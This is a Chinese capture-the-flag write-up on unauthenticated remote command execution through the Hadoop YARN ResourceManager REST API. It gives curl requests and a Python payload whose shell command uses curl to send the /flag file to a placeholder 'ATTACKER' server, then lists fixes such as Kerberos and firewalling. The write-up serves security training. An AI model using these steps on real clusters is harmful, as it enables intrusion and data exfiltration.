玄机网络安全靶场:Hadoop YARN ResourceManager 未授权 RCE WP

解题报告:Hadoop YARN ResourceManager 未授权 RCE

题目名称 :Hadoop YARN ResourceManager(Unauthorized)
难度 :简单
分类 :渗透
Flag :flag{41d1290e-e2d2-4028-85ce-43909a1787c4}


漏洞背景

Hadoop YARN(Yet Another Resource Negotiator)是 Apache Hadoop 的集群资源管理系统。YARN ResourceManager 提供了一套 REST API 用于集群管理,默认情况下该 API 无需任何认证即可访问。攻击者可以通过以下步骤在集群节点上执行任意命令:

  1. 调用 POST /ws/v1/cluster/apps/new-application 创建新的 Application ID
  2. 调用 POST /ws/v1/cluster/apps 提交包含恶意命令的 Application
  3. YARN 的 NodeManager 会在容器中执行该命令

靶机信息

项目 值
靶机 IP 43.192.45.210
服务端口 8088(YARN ResourceManager Web UI)
服务版本 Hadoop YARN(Jetty 6.1.26)
目标文件 /flag

利用过程

第一步:确认服务连通性

bash 复制代码
curl -v http://43.192.45.210:8088/
# 返回 HTTP 302 → /cluster,确认 YARN 服务正常运行

第二步:获取新 Application ID

bash 复制代码
curl -s -X POST "http://43.192.45.210:8088/ws/v1/cluster/apps/new-application" \
    -H "Content-Type: application/json"
# 返回:{"application-id":"application_1776602744486_0011",...}

第三步:提交恶意 Application

通过 Python 构造 JSON payload,命令使用 /bin/sh -c 执行,将 /flag 内容通过 curl 外带到攻击者服务器:

python 复制代码
command = '/bin/sh -c \'curl -sk "https://ATTACKER/?r=$(cat /flag 2>&1 | tr -d \'\\n\')"\''

payload = {
    "application-id": app_id,
    "application-name": "exploit",
    "am-container-spec": {
        "commands": {"command": command}
    },
    "application-type": "YARN",
    "unmanaged-AM": False,
    "max-app-attempts": 1,
    "resource": {"memory": 1024, "vCores": 1},
    ...
}

第四步:接收外带数据

在攻击者服务器上启动 HTTP 服务,收到请求:

复制代码
GET /flag1?r=flag41d1290e-e2d2-4028-85ce-43909a1787c4 HTTP/1.1

Flag: flag{41d1290e-e2d2-4028-85ce-43909a1787c4}


关键技术点

技术点 说明
无认证 REST API YARN ResourceManager 默认不需要认证
Application 提交 通过 REST API 提交包含任意命令的 Application
命令执行环境 NodeManager 容器中以 hadoop 用户执行
外带方式 靶机可以访问外网,用 curl 将结果发送到攻击者服务器
base64 问题 靶机环境 base64 -w 0 不支持,改用 tr -d '\n' 去除换行

修复建议

  1. 为 YARN ResourceManager REST API 启用 Kerberos 认证
  2. 配置防火墙,限制 8088 端口只允许内网访问
  3. 启用 YARN 的 ACL(Access Control List)功能
  4. 升级到支持认证的 Hadoop 版本并正确配置安全模式

相关推荐
镜子AI2 小时前
RPA智能名单激活系统设计:拟人化触达引擎与风控机制实践(镜子AI技术拆解)
大数据·人工智能·rpa
水圈模拟2 小时前
一场洪水的 AI 推演
大数据·人工智能
ITxiaobing20232 小时前
IP 库与 AppsFlyer 国家/地区数据不一致,如何系统地对账?
数据库·网络协议·tcp/ip
.Bryce.2 小时前
在智能体中使用A2A工具:让大模型自己决定“该找谁帮忙“
android·java·服务器·redis·后端·agent·a2a
这个DBA有点耶2 小时前
从时间到语义:时序数据库与向量数据库的核心机制、选型与多模融合趋势
数据库·mysql·架构
启观川2 小时前
数据结构与算法-第 3 章 常用算法-贪心算法
数据结构·笔记·python·算法·贪心算法
对空六课3 小时前
指标口径生效时间的版本查询实现
大数据·服务器·前端·算法·数据分析
liliangcsdn3 小时前
服务消费参数指标的解析与应用
大数据
对空六课3 小时前
RFM分层边界变化的回溯计算
大数据·服务器·前端·数据库·人工智能·算法·数据分析